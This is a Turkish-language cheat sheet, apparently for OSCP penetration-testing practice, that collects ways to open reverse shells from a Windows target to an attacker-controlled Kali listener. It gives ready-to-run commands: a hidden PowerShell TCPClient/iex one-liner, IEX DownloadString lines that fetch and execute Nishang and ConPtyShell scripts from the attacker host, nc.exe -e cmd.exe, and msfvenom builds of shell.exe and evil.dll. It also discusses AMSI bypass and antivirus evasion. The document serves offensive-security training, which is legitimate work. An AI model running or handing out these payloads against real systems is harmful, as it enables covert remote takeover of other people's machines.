Windows Reverse Shell Cephaneliği
Windows hedeften Kali'ye reverse shell almanın tüm yöntemleri: PowerShell one-liner (IEX/TcpClient), nc.exe -e, ConPtyShell ile tam etkileşimli PTY, Nishang Invoke-PowerShellTcp, msfvenom shell_reverse_tcp payload üretimi ve rlwrap ile shell kalitesi iyileştirme.
- Hedef üzerinde komut çalıştırma
- Kali'de dinleyen listener (nc / rlwrap / stty)
- {{LHOST}} ve {{LPORT}} listener'a yönlenmeli
Komutlar
rlwrap nc -lvnp {{LPORT}} powershell -nop -W hidden -c "$c=New-Object Net.Sockets.TCPClient('{{LHOST}}',{{LPORT}});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($sb,0,$sb.Length);$s.Flush()}" powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress {{LHOST}} -Port {{LPORT}}" nc.exe {{LHOST}} {{LPORT}} -e cmd.exe IEX(IWR http://{{LHOST}}/Invoke-ConPtyShell.ps1 -UseBasicParsing);Invoke-ConPtyShell {{LHOST}} {{LPORT}} stty raw -echo; (stty size; cat) | nc -lvnp {{LPORT}} msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o shell.exe msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} EXITFUNC=thread -f dll -o evil.dll Genel Mantık
Windows reverse shell almanın iki temel yolu vardır: disksiz PowerShell one-liner’ları (hedefe dosya taşımadan) ve derlenmiş binary (nc.exe, msfvenom EXE/DLL). OSCP’de tercih, hiçbir şey indirmeden çalışan saf PowerShell TCP shell’idir; AV nedeniyle başarısız olursa Nishang + AMSI bypass veya msfvenom’a geçilir.
Listener Hazırlığı
Her zaman önce Kali’de listener başlat: rlwrap nc -lvnp {{LPORT}}. rlwrap ok tuşlarını ve komut geçmişini etkinleştirerek basit cmd/PowerShell shell’lerini çok daha kullanılabilir yapar.
1. Saf PowerShell TCP one-liner
Diskte hiç iz bırakmaz, -nop -W hidden ile pencere gizlenir. TCPClient üzerinden bağlanır, iex ile gelen komutları çalıştırır. En taşınabilir yöntemdir; Base64-encoded -EncodedCommand haline getirilerek tırnak/escape sorunları aşılabilir.
2. Nishang Invoke-PowerShellTcp
Daha temiz bir prompt sağlar. DownloadString ile bellekte yüklenir — diske yazılmaz. Modern Windows’ta AMSI bunu yakalar; bu yüzden genelde help-amsi bypass’ı ile zincirlenir.
3. nc.exe -e
Hedefte -e bayraklı bir nc.exe derlemesi varsa en basit yöntemdir. Ancak nc.exe çoğu AV tarafından flag’lenir ve önce taşınması gerekir (bkz. help-transfer). Yedek seçenek olarak değerlidir.
4. ConPtyShell — tam etkileşimli PTY
Klasik shell’ler PTY değildir: su, sudo, tab-completion, Ctrl-C, text editörler çalışmaz. ConPtyShell, Windows’un ConPTY API’sini kullanarak tam fonksiyonel bir shell sağlar. Kali tarafında stty raw -echo + boyut iletimi ile birlikte kullanılır. Yetki yükseltme sonrası rahat çalışma için en iyi yöntemdir.
5. msfvenom payload üretimi
Payload üretmek OSCP’de serbesttir (otomatik exploitation değildir). windows/x64/shell_reverse_tcp staged olmayan bir payloaddır — Metasploit handler gerektirmez, düz nc listener ile yakalanır. DLL formatı, DLL hijacking (win-dll-hijack) ve unquoted service path senaryolarında işe yarar. EXE’yi taşımak için help-transfer yöntemlerini kullan.
Notlar
- Architecture’a dikkat: 32-bit
powershell.exe(C:\Windows\SysWOW64) bazı 64-bit modülleri yükleyemez.[Environment]::Is64BitProcessile kontrol et. - Shell kopması durumunda
Out-Stringve hata yönlendirmesi (2>&1) one-liner’da kritiktir. - Meterpreter (
windows/x64/meterpreter/reverse_tcp) OSCP’de sınırlıdır — kullanımı kısıtlı, exam’da dikkatli ol. Düz shell_reverse_tcp güvenli seçimdir.